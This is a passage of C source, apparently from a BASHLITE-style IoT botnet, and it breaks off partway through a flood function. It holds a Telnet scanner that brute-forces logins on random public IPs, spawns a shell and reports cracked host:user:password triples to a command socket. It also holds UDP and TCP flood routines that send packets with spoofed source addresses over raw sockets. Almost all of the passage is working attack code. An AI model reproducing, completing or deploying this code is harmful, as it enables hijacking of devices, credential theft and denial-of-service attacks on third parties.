  1423. )
  1424.  
  1425. {
  1426.  
  1427. ipState[1] = rand() % 255;
  1428.  
  1429. ipState[2] = rand() % 255;
  1430.  
  1431. ipState[3] = rand() % 255;
  1432.  
  1433. }
  1434.  
  1435.  
  1436.  
  1437. char ip[16] = {0};
  1438.  
  1439. szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  1440.  
  1441. return inet_addr(ip);
  1442.  
  1443. }
  1444.  
  1445.  
  1446.  
  1447. in_addr_t getRandomIP(in_addr_t netmask)
  1448.  
  1449. {
  1450.  
  1451. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1452.  
  1453. return tmp ^ ( rand_cmwc() & ~netmask);
  1454.  
  1455. }
  1456.  
  1457.  
  1458.  
  1459. unsigned short csum (unsigned short *buf, int count)
  1460.  
  1461. {
  1462.  
  1463. register uint64_t sum = 0;
  1464.  
  1465. while( count > 1 ) { sum += *buf++; count -= 2; }
  1466.  
  1467. if(count > 0) { sum += *(unsigned char *)buf; }
  1468.  
  1469. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1470.  
  1471. return (uint16_t)(~sum);
  1472.  
  1473. }
  1474.  
  1475.  
  1476.  
  1477. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1478.  
  1479. {
  1480.  
  1481.  
  1482.  
  1483. struct tcp_pseudo
  1484.  
  1485. {
  1486.  
  1487. unsigned long src_addr;
  1488.  
  1489. unsigned long dst_addr;
  1490.  
  1491. unsigned char zero;
  1492.  
  1493. unsigned char proto;
  1494.  
  1495. unsigned short length;
  1496.  
  1497. } pseudohead;
  1498.  
  1499. unsigned short total_len = iph->tot_len;
  1500.  
  1501. pseudohead.src_addr=iph->saddr;
  1502.  
  1503. pseudohead.dst_addr=iph->daddr;
  1504.  
  1505. pseudohead.zero=0;
  1506.  
  1507. pseudohead.proto=IPPROTO_TCP;
  1508.  
  1509. pseudohead.length=htons(sizeof(struct tcphdr));
  1510.  
  1511. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1512.  
  1513. unsigned short *tcp = malloc(totaltcp_len);
  1514.  
  1515. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1516.  
  1517. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1518.  
  1519. unsigned short output = csum(tcp,totaltcp_len);
  1520.  
  1521. free(tcp);
  1522.  
  1523. return output;
  1524.  
  1525. }
  1526.  
  1527.  
  1528.  
  1529. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1530.  
  1531. {
  1532.  
  1533. iph->ihl = 5;
  1534.  
  1535. iph->version = 4;
  1536.  
  1537. iph->tos = 0;
  1538.  
  1539. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1540.  
  1541. iph->id = rand_cmwc();
  1542.  
  1543. iph->frag_off = 0;
  1544.  
  1545. iph->ttl = MAXTTL;
  1546.  
  1547. iph->protocol = protocol;
  1548.  
  1549. iph->check = 0;
  1550.  
  1551. iph->saddr = source;
  1552.  
  1553. iph->daddr = dest;
  1554.  
  1555. }
  1556.  
  1557.  
  1558.  
  1559. int sclose(int fd)
  1560.  
  1561. {
  1562.  
  1563. if(3 > fd) return 1;
  1564.  
  1565. close(fd);
  1566.  
  1567. return 0;
  1568.  
  1569. }
  1570.  
  1571.  
  1572.  
  1573. // _____ _ _ __ _ _
  1574.  
  1575. // /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
  1576.  
  1577. // / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  1578.  
  1579. // / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
  1580.  
  1581. // \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
  1582.  
  1583.  
  1584.  
  1585. void StartTheLelz()
  1586.  
  1587. {
  1588.  
  1589. int max = (getdtablesize() / 4) * 3, i, res;
  1590.  
  1591. fd_set myset;
  1592.  
  1593. struct timeval tv;
  1594.  
  1595. socklen_t lon;
  1596.  
  1597. int valopt;
  1598.  
  1599.  
  1600.  
  1601. max = max > 512 ? 512 : max;
  1602.  
  1603.  
  1604.  
  1605. struct sockaddr_in dest_addr;
  1606.  
  1607. dest_addr.sin_family = AF_INET;
  1608.  
  1609. dest_addr.sin_port = htons(23);
  1610.  
  1611. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1612.  
  1613.  
  1614.  
  1615. struct telstate_t
  1616.  
  1617. {
  1618.  
  1619. int fd;
  1620.  
  1621. uint32_t ip;
  1622.  
  1623. uint8_t state;
  1624.  
  1625. uint8_t complete;
  1626.  
  1627. uint8_t usernameInd;
  1628.  
  1629. uint8_t passwordInd;
  1630.  
  1631. uint32_t totalTimeout;
  1632.  
  1633. uint16_t bufUsed;
  1634.  
  1635. char *sockbuf;
  1636.  
  1637. } fds[max];
  1638.  
  1639. memset(fds, 0, max * (sizeof(int) + 1));
  1640.  
  1641. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  1642.  
  1643.  
  1644.  
  1645. while(1)
  1646.  
  1647. {
  1648.  
  1649. for(i = 0; i < max; i++)
  1650.  
  1651. {
  1652.  
  1653. switch(fds[i].state)
  1654.  
  1655. {
  1656.  
  1657. case 0:
  1658.  
  1659. {
  1660.  
  1661. memset(fds[i].sockbuf, 0, 1024);
  1662.  
  1663.  
  1664.  
  1665. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  1666.  
  1667. else {
  1668.  
  1669. fds[i].passwordInd++;
  1670.  
  1671. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  1672.  
  1673. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  1674.  
  1675. }
  1676.  
  1677. dest_addr.sin_family = AF_INET;
  1678.  
  1679. dest_addr.sin_port = htons(23);
  1680.  
  1681. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1682.  
  1683. dest_addr.sin_addr.s_addr = fds[i].ip;
  1684.  
  1685. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1686.  
  1687. if(fds[i].fd == -1) { continue; }
  1688.  
  1689. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1690.  
  1691. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  1692.  
  1693. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  1694.  
  1695. }
  1696.  
  1697. break;
  1698.  
  1699.  
  1700.  
  1701. case 1:
  1702.  
  1703. {
  1704.  
  1705. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1706.  
  1707.  
  1708.  
  1709. FD_ZERO(&myset);
  1710.  
  1711. FD_SET(fds[i].fd, &myset);
  1712.  
  1713. tv.tv_sec = 0;
  1714.  
  1715. tv.tv_usec = 10000;
  1716.  
  1717. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1718.  
  1719. if(res == 1)
  1720.  
  1721. {
  1722.  
  1723. lon = sizeof(int);
  1724.  
  1725. valopt = 0;
  1726.  
  1727. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1728.  
  1729. if(valopt)
  1730.  
  1731. {
  1732.  
  1733. sclose(fds[i].fd);
  1734.  
  1735. fds[i].state = 0;
  1736.  
  1737. fds[i].complete = 1;
  1738.  
  1739. } else {
  1740.  
  1741. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1742.  
  1743. fds[i].totalTimeout = 0;
  1744.  
  1745. fds[i].bufUsed = 0;
  1746.  
  1747. memset(fds[i].sockbuf, 0, 1024);
  1748.  
  1749. fds[i].state = 2;
  1750.  
  1751. continue;
  1752.  
  1753. }
  1754.  
  1755. } else if(res == -1)
  1756.  
  1757. {
  1758.  
  1759. sclose(fds[i].fd);
  1760.  
  1761. fds[i].state = 0;
  1762.  
  1763. fds[i].complete = 1;
  1764.  
  1765. }
  1766.  
  1767.  
  1768.  
  1769. if(fds[i].totalTimeout + 10 < time(NULL))
  1770.  
  1771. {
  1772.  
  1773. sclose(fds[i].fd);
  1774.  
  1775. fds[i].state = 0;
  1776.  
  1777. fds[i].complete = 1;
  1778.  
  1779. }
  1780.  
  1781. }
  1782.  
  1783. break;
  1784.  
  1785.  
  1786.  
  1787. case 2:
  1788.  
  1789. {
  1790.  
  1791. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1792.  
  1793.  
  1794.  
  1795. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1796.  
  1797. {
  1798.  
  1799. fds[i].totalTimeout = 0;
  1800.  
  1801. fds[i].bufUsed = 0;
  1802.  
  1803. memset(fds[i].sockbuf, 0, 1024);
  1804.  
  1805. fds[i].state = 3;
  1806.  
  1807. continue;
  1808.  
  1809. } else {
  1810.  
  1811. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1812.  
  1813. }
  1814.  
  1815.  
  1816.  
  1817. if(fds[i].totalTimeout + 30 < time(NULL))
  1818.  
  1819. {
  1820.  
  1821. sclose(fds[i].fd);
  1822.  
  1823. fds[i].state = 0;
  1824.  
  1825. fds[i].complete = 1;
  1826.  
  1827. }
  1828.  
  1829. }
  1830.  
  1831. break;
  1832.  
  1833.  
  1834.  
  1835. case 3:
  1836.  
  1837. {
  1838.  
  1839. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1840.  
  1841. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1842.  
  1843. fds[i].state = 4;
  1844.  
  1845. }
  1846.  
  1847. break;
  1848.  
  1849.  
  1850.  
  1851. case 4:
  1852.  
  1853. {
  1854.  
  1855. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1856.  
  1857.  
  1858.  
  1859. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1860.  
  1861. {
  1862.  
  1863. fds[i].totalTimeout = 0;
  1864.  
  1865. fds[i].bufUsed = 0;
  1866.  
  1867. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1868.  
  1869. else fds[i].state = 100;
  1870.  
  1871. memset(fds[i].sockbuf, 0, 1024);
  1872.  
  1873. continue;
  1874.  
  1875. } else {
  1876.  
  1877. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1878.  
  1879. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1880.  
  1881. }
  1882.  
  1883.  
  1884.  
  1885. if(fds[i].totalTimeout + 30 < time(NULL))
  1886.  
  1887. {
  1888.  
  1889. sclose(fds[i].fd);
  1890.  
  1891. fds[i].state = 0;
  1892.  
  1893. fds[i].complete = 1;
  1894.  
  1895. }
  1896.  
  1897. }
  1898.  
  1899. break;
  1900.  
  1901.  
  1902.  
  1903. case 5:
  1904.  
  1905. {
  1906.  
  1907. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1908.  
  1909. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1910.  
  1911. fds[i].state = 6;
  1912.  
  1913. }
  1914.  
  1915. break;
  1916.  
  1917.  
  1918.  
  1919. case 6:
  1920.  
  1921. {
  1922.  
  1923. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1924.  
  1925.  
  1926.  
  1927. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1928.  
  1929. {
  1930.  
  1931. fds[i].totalTimeout = 0;
  1932.  
  1933. fds[i].bufUsed = 0;
  1934.  
  1935. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1936.  
  1937. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1938.  
  1939. else fds[i].state = 7;
  1940.  
  1941. memset(fds[i].sockbuf, 0, 1024);
  1942.  
  1943. continue;
  1944.  
  1945. } else {
  1946.  
  1947. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1948.  
  1949. }
  1950.  
  1951.  
  1952.  
  1953. if(fds[i].totalTimeout + 30 < time(NULL))
  1954.  
  1955. {
  1956.  
  1957. sclose(fds[i].fd);
  1958.  
  1959. fds[i].state = 0;
  1960.  
  1961. fds[i].complete = 1;
  1962.  
  1963. }
  1964.  
  1965. }
  1966.  
  1967. break;
  1968.  
  1969.  
  1970.  
  1971. case 7:
  1972.  
  1973. {
  1974.  
  1975. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1976.  
  1977. fds[i].state = 8;
  1978.  
  1979. }
  1980.  
  1981. break;
  1982.  
  1983.  
  1984.  
  1985. case 8:
  1986.  
  1987. {
  1988.  
  1989. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1990.  
  1991. fds[i].state = 9;
  1992.  
  1993. }
  1994.  
  1995. break;
  1996.  
  1997.  
  1998.  
  1999. case 9:
  2000.  
  2001. {
  2002.  
  2003. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2004.  
  2005.  
  2006.  
  2007. if(readUntil(fds[i].fd, "bashlite", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2008.  
  2009. {
  2010.  
  2011. fds[i].totalTimeout = 0;
  2012.  
  2013. fds[i].bufUsed = 0;
  2014.  
  2015. if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2016.  
  2017. memset(fds[i].sockbuf, 0, 1024);
  2018.  
  2019. sclose(fds[i].fd);
  2020.  
  2021. fds[i].complete = 1;
  2022.  
  2023. //fds[i].lastWorked = 1;
  2024.  
  2025. fds[i].state = 0;
  2026.  
  2027. continue;
  2028.  
  2029. } else {
  2030.  
  2031. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2032.  
  2033. }
  2034.  
  2035.  
  2036.  
  2037. if(fds[i].totalTimeout + 30 < time(NULL))
  2038.  
  2039. {
  2040.  
  2041. sclose(fds[i].fd);
  2042.  
  2043. fds[i].state = 0;
  2044.  
  2045. fds[i].complete = 1;
  2046.  
  2047. }
  2048.  
  2049. }
  2050.  
  2051. break;
  2052.  
  2053.  
  2054.  
  2055. case 100:
  2056.  
  2057. {
  2058.  
  2059. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2060.  
  2061. fds[i].state = 101;
  2062.  
  2063. }
  2064.  
  2065. break;
  2066.  
  2067.  
  2068.  
  2069. case 101:
  2070.  
  2071. {
  2072.  
  2073. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2074.  
  2075. fds[i].state = 102;
  2076.  
  2077. }
  2078.  
  2079. break;
  2080.  
  2081.  
  2082.  
  2083. case 102:
  2084.  
  2085. {
  2086.  
  2087. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2088.  
  2089.  
  2090.  
  2091. if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2092.  
  2093. {
  2094.  
  2095. fds[i].totalTimeout = 0;
  2096.  
  2097. fds[i].bufUsed = 0;
  2098.  
  2099. sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
  2100.  
  2101. sclose(fds[i].fd);
  2102.  
  2103. fds[i].state = 0;
  2104.  
  2105. memset(fds[i].sockbuf, 0, 1024);
  2106.  
  2107. fds[i].complete = 1;
  2108.  
  2109. //fds[i].lastWorked = 1;
  2110.  
  2111. continue;
  2112.  
  2113. } else {
  2114.  
  2115. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2116.  
  2117. }
  2118.  
  2119.  
  2120.  
  2121. if(fds[i].totalTimeout + 30 < time(NULL))
  2122.  
  2123. {
  2124.  
  2125. sclose(fds[i].fd);
  2126.  
  2127. fds[i].state = 0;
  2128.  
  2129. fds[i].complete = 1;
  2130.  
  2131. }
  2132.  
  2133. }
  2134.  
  2135. break;
  2136.  
  2137. }
  2138.  
  2139. }
  2140.  
  2141. }
  2142.  
  2143. }
  2144.  
  2145.  
  2146.  
  2147. // ___ ___ ___ _ _
  2148.  
  2149. // /\ /\ / \/ _ \ / __\ | ___ ___ __| |
  2150.  
  2151. // / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
  2152.  
  2153. // \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
  2154.  
  2155. // \___/___,'\/ \/ |_|\___/ \___/ \__,_|
  2156.  
  2157.  
  2158.  
  2159. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  2160.  
  2161. {
  2162.  
  2163. struct sockaddr_in dest_addr;
  2164.  
  2165.  
  2166.  
  2167. dest_addr.sin_family = AF_INET;
  2168.  
  2169. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2170.  
  2171. else dest_addr.sin_port = htons(port);
  2172.  
  2173. if(getHost(target, &dest_addr.sin_addr)) return;
  2174.  
  2175. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2176.  
  2177.  
  2178.  
  2179. register unsigned int pollRegister;
  2180.  
  2181. pollRegister = pollinterval;
  2182.  
  2183.  
  2184.  
  2185. if(spoofit == 32)
  2186.  
  2187. {
  2188.  
  2189. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2190.  
  2191. if(!sockfd)
  2192.  
  2193. {
  2194.  
  2195. sockprintf(mainCommSock, "Failed opening raw socket.");
  2196.  
  2197. return;
  2198.  
  2199. }
  2200.  
  2201.  
  2202.  
  2203. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2204.  
  2205. if(buf == NULL) return;
  2206.  
  2207. memset(buf, 0, packetsize + 1);
  2208.  
  2209. makeRandomStr(buf, packetsize);
  2210.  
  2211.  
  2212.  
  2213. int end = time(NULL) + timeEnd;
  2214.  
  2215. register unsigned int i = 0;
  2216.  
  2217. while(1)
  2218.  
  2219. {
  2220.  
  2221. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2222.  
  2223.  
  2224.  
  2225. if(i == pollRegister)
  2226.  
  2227. {
  2228.  
  2229. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2230.  
  2231. if(time(NULL) > end) break;
  2232.  
  2233. i = 0;
  2234.  
  2235. continue;
  2236.  
  2237. }
  2238.  
  2239. i++;
  2240.  
  2241. }
  2242.  
  2243. } else {
  2244.  
  2245. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2246.  
  2247. if(!sockfd)
  2248.  
  2249. {
  2250.  
  2251. sockprintf(mainCommSock, "Failed opening raw socket.");
  2252.  
  2253. return;
  2254.  
  2255. }
  2256.  
  2257.  
  2258.  
  2259. int tmp = 1;
  2260.  
  2261. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2262.  
  2263. {
  2264.  
  2265. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2266.  
  2267. return;
  2268.  
  2269. }
  2270.  
  2271.  
  2272.  
  2273. int counter = 50;
  2274.  
  2275. while(counter--)
  2276.  
  2277. {
  2278.  
  2279. srand(time(NULL) ^ rand_cmwc());
  2280.  
  2281. init_rand(rand());
  2282.  
  2283. }
  2284.  
  2285.  
  2286.  
  2287. in_addr_t netmask;
  2288.  
  2289.  
  2290.  
  2291. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2292.  
  2293. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2294.  
  2295.  
  2296.  
  2297. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2298.  
  2299. struct iphdr *iph = (struct iphdr *)packet;
  2300.  
  2301. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2302.  
  2303.  
  2304.  
  2305. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2306.  
  2307.  
  2308.  
  2309. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2310.  
  2311. udph->source = rand_cmwc();
  2312.  
  2313. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2314.  
  2315. udph->check = 0;
  2316.  
  2317.  
  2318.  
  2319. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2320.  
  2321.  
  2322.  
  2323. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2324.  
  2325.  
  2326.  
  2327. int end = time(NULL) + timeEnd;
  2328.  
  2329. register unsigned int i = 0;
  2330.  
  2331. while(1)
  2332.  
  2333. {
  2334.  
  2335. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2336.  
  2337.  
  2338.  
  2339. udph->source = rand_cmwc();
  2340.  
  2341. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2342.  
  2343. iph->id = rand_cmwc();
  2344.  
  2345. iph->saddr = htonl( getRandomIP(netmask) );
  2346.  
  2347. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2348.  
  2349.  
  2350.  
  2351. if(i == pollRegister)
  2352.  
  2353. {
  2354.  
  2355. if(time(NULL) > end) break;
  2356.  
  2357. i = 0;
  2358.  
  2359. continue;
  2360.  
  2361. }
  2362.  
  2363. i++;
  2364.  
  2365. }
  2366.  
  2367. }
  2368.  
  2369. }
  2370.  
  2371.  
  2372.  
  2373. // _____ ___ ___ ___ _ _
  2374.  
  2375. // /__ \/ __\ / _ \ / __\ | ___ ___ __| |
  2376.  
  2377. // / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
  2378.  
  2379. // / / / /___/ ___/ / / | | (_) | (_) | (_| |
  2380.  
  2381. // \/ \____/\/ \/ |_|\___/ \___/ \__,_|
  2382.  
  2383.  
  2384.  
  2385. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2386.  
  2387. {
  2388.  
  2389. register unsigned int pollRegister;
  2390.  
  2391. pollRegister = pollinterval;
  2392.  
  2393.  
  2394.  
  2395. struct sockaddr_in dest_addr;
  2396.  
  2397.  
  2398.  
  2399. dest_addr.sin_family = AF_INET;
  2400.  
  2401. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2402.  
  2403. else dest_addr.sin_port = htons(port);
  2404.  
  2405. if(getHost(target, &dest_addr.sin_addr)) return;
  2406.  
  2407. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2408.  
  2409.  
  2410.  
  2411. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2412.  
  2413. if(!sockfd)
  2414.  
  2415. {
  2416.  
  2417. sockprintf(mainCommSock, "Failed opening raw socket.");
  2418.  
  2419. return;
  2420.  
  2421. }
  2422.  
  2423.  
  2424.  
  2425. int tmp = 1;
  2426.  
  2427. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2428.  
  2429. {
  2430.  
  2431. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2432.  
  2433. return;
  2434.  
  2435. }
  2436.  
  2437.  
  2438.  
  2439. in_addr_t netmask;
  2440.  
  2441.  
  2442.  
  2443. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2444.  
  2445. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2446.  
  2447.  
  2448.  
  2449. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2450.  
  2451. struct iphdr *iph = (struct iphdr *)packet;
  2452.  
  2453. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2454.  
  2455.  
  2456.  
  2457. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2458.  
  2459.  
  2460.  
  2461. tcph->source = rand_cmwc();
  2462.  
  2463. tcph->seq = rand_cmwc();
  2464.  
  2465. tcph->ack_seq = 0;
  2466.  
  2467. tcph->doff = 5;
  2468.  
  2469.  
  2470.  
  2471. if(!strcmp(flags, "all"))
  2472.  
  2473. {
  2474.  
  2475. tcph->syn = 1;
  2476.  
  2477. tcph->rst = 1;
  2478.  
  2479. tcph->fin = 1;
  2480.  
  2481. tcph->ack = 1;
  2482.  
  2483. tcph->psh = 1;
  2484.  
  2485. } else {
  2486.  
  2487. unsigned char *pch = strtok(flags, ",");
  2488.  
  2489. while(pch)
  2490.  
  2491. {
  2492.  
  2493. if(!strcmp(pch, "syn"))
  2494.  
  2495. {
  2496.  
  2497. tcph->syn = 1;
  2498.  
  2499. } else if(!strcmp(pch, "rst"))
  2500.  
  2501. {
  2502.  
  2503. tcph->rst = 1;
  2504.  
  2505. } else if(!strcmp(pch, "fin"))
  2506.  
  2507. {
  2508.  
  2509. tcph->fin = 1;
  2510.  
  2511. } else if(!strcmp(pch, "ack"))
  2512.  
  2513. {
  2514.  
  2515. tcph->ack = 1;
  2516.  
  2517. } else if(!strcmp(pch, "psh"))
  2518.  
  2519. {
  2520.  
  2521. tcph->psh = 1;
  2522.  
  2523. } else {
  2524.  
  2525. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2526.  
  2527. }
  2528.  
  2529. pch = strtok(NULL, ",");
  2530.  
  2531. }
  2532.  
  2533. }
  2534.  
  2535.  
  2536.  
  2537. tcph->window = rand_cmwc();
  2538.  
  2539. tcph->check = 0;
  2540.  
  2541. tcph->urg_ptr = 0;
  2542.  
  2543. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2544.  
  2545. tcph->check = tcpcsum(iph, tcph);
  2546.  
  2547.  
  2548.  
  2549. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2550.  
  2551.  
  2552.  
  2553. int end = time(NULL) + timeEnd;
  2554.  
  2555. register unsigned int i = 0;
  2556.  
  2557. while(1)
  2558.  
  2559. {
  2560.  
  2561. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2562.  
  2563.  
  2564.  
  2565. iph->saddr = htonl( getRandomIP(netmask) );
  2566.  
  2567. iph->id = rand_cmwc();
  2568.  
  2569. tcph->seq = rand_cmwc();
  2570.  
  2571. tcph->source = rand_cmwc();
  2572.  
  2573. tcph->check = 0;
  2574.  
  2575. tcph->check = tcpcsum(iph, tcph);
  2576.  
  2577. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2578.  
  2579.  
  2580.  
  2581. if(i == pollRegister)
  2582.  
  2583. {
  2584.  
  2585. if(time(NULL) > end) break;
  2586.  
  2587. i = 0;
  2588.  
  2589. continue;
  2590.  
  2591. }
  2592.  
  2593. i++;
  2594.  
  2595. }
  2596.  
  2597. }
  2598.  
  2599.  
  2600.  
  2601.  
  2602.  
  2603. // __ __ ___ _ _
  2604.  
  2605. // \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
  2606.  
  2607. // \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
  2608.  
  2609. // /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
  2610.  
  2611. // \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
  2612.  
  2613.  
  2614.  
  2615. void sendJUNK(unsigned char *ip, int port, int end_time)
  2616.  
  2617. {
  2618.  
  2619.  
  2620.  
  2621. int max = getdtablesize() / 2, i;
  2622.  
  2623.  
  2624.  
  2625. struct sockaddr_in dest_addr;
